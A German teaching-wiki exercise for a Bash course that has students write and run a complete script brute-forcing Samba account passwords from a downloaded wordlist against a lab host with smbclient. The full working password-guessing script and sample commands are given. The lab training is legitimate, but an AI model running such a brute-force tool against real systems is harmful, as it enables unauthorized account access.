Aufgaben Linux - Shell Programmierung (Bash)

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

Samba Password Brute-Force Aufgabe

  • Zweck: Aus einer Wortliste per Wortlistenangriff die Passwörter vorgegebener SMB-Accounts im Labor finden.
  • Voraussetzungen:
    • Auf dem Arbeitsrechner sind wget und smbclient installiert.
    • Wortliste herunterladen:

wget https://xinux.de/downloads/bad-passwords

  • Die Ziel-IP gibt der Dozent vor.
  • Aufgabe:
    • Erstelle die Datei smb-passwd.sh, mache sie ausführbar und teste die drei Benutzer: Christine, Martina, Klaus
    • Das Script soll:
      • drei Positionsparameter akzeptieren: <samba-host> <user> <pwlist-file>
      • die Passwortdatei zeilenweise lesen
      • für jede Zeile folgendes ausführen: smbclient -U user%pass -L host > /dev/null 2>&1
      • bei erfolgreichem Login exakt ausgeben: Das Password von <user> lautet <pass> und sofort terminieren
  • Erwartete Ausgabe (Format muss exakt so sein):

Das Password von <user> lautet <pass>

  • Skript (in eine Datei smb-passwd.sh kopieren):
  1. !/bin/bash

HOST="$1" USER="$2" PWLIST="$3" if [ -z "$HOST" ] || [ -z "$USER" ] || [ -z "$PWLIST" ]; then

 echo "Usage: $0 <samba-host> <user> <pwlist-file>"
 exit 2

fi if [ ! -r "$PWLIST" ]; then

 echo "Password list not found or not readable: $PWLIST"
 exit 3

fi while IFS= read -r PASS; do

 if smbclient -U "$USER%$PASS" -L "$HOST" > /dev/null 2>&1; then
   echo "Das Password von $USER lautet $PASS"
   exit 0
 fi

done < "$PWLIST" exit 1

  • Beispielablauf:

chmod +x smb-passwd.sh wget https://xinux.de/downloads/bad-passwords ./smb-passwd.sh 10.0.10.123 martina bad-passwords

  • Abgabe:
    • smb-passwd.sh
    • Nachweis, dass bad-passwords heruntergeladen wurde
    • Terminal-Transkript mit den drei gefundenen Zeilen